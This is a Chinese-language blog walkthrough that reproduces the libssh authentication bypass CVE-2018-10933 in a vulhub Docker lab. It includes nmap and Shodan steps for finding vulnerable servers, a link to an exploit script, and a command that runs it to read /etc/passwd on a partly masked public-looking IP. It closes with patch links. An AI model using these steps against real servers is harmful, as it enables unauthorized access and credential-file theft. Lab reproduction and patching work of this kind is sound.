Libssh认证绕过CVE-2018-10933漏洞复现

àì夳堔傛蜴生んèń 2024-04-07 10:57 156阅读 0赞

0x00 漏洞描述

libssh 0.6 及以上的版本，在服务端的代码实现中存在身份认证绕过漏洞。在向服务端认证的流程中，攻击者通过将 SSH2_MSG_USERAUTH_REQUEST 消息替换为 SSH2_MSG_USERAUTH_SUCCESS，即可在无需任何有效凭证的情况下认证成

0x01 漏洞影响版本

libssh 0.8.x - 0.8.3

libssh 0.7.x - 0.7.5

libssh 0.6.x

0x02 漏洞检测

1.nmap扫描libssh版本

nmap -p 2222 -n-Pn -T5 -sC -Sv 149.*.*.85

f30ce043a1cf39e6d7bf730861efe64d.jpeg

2.Shodan.io libSSH

8ada1e0ef599ca513bed56d76ac1bea7.jpeg

0x03 漏洞复现

1.最好在windows上运行脚本，在linux上运行脚本出现很多坑(很多依赖脚本安装有问题)Windows上安装python3，然后使用以下命令进行安装脚本运行依赖包：

pip3 installl paramiko

2．漏洞靶机部署，这里采用vulhub进行部署。(本机采用ubuntu16.04)

root@libssh:~# git clone https://github.com/vulhub/vulhub.git

root@libssh:~# cd vulhub/

root@libssh:~/vulhub# cd libssh/CVE-2018-10933/

root@libssh:~/vulhub/libssh/CVE-2018-10933# docker-compose build

root@libssh:~/vulhub/libssh/CVE-2018-10933# docker-compose up -d

ffe339f478d76cdd8d9ac1720abfef55.jpeg

3.本地环境中运行攻击脚本

脚本下载地址：

https://raw.githubusercontent.com/backlion/CVE-2018-10933/master/libssh-CVE-2018-10933.py

D:\python3>python.exe libssh-CVE-2018-10933.py 149.*.*.852222 “cat /etc/passwd”

(注意这里的2222端口是docker有libssh漏洞的sshd服务(22端口)映射出物理机主机的端口2222)

9cb5e095d460023395fb706232380279.jpeg

0x04 解决方案

官方已发布不受影响版本。建议受影响用户尽快升级。已修复版本Libssh 0.8.4和0.7.6下载链接如下：https://www.libssh.org/files

补丁地址:

https://www.libssh.org/security/patches/stable-0.6_CVE-2018-10933.jmcd.patch01.txt

更新地址:

https://www.libssh.org/files/0.7/libssh-0.7.6.tar.xz

https://www.libssh.org/files/0.8/libssh-0.8.4.tar.xz

注意：使用OpenSSH的SSH服务不受影响

发表评论

表情：
评论列表 （有 0 条评论，156人围观）

还没有评论，来说两句吧...

相关阅读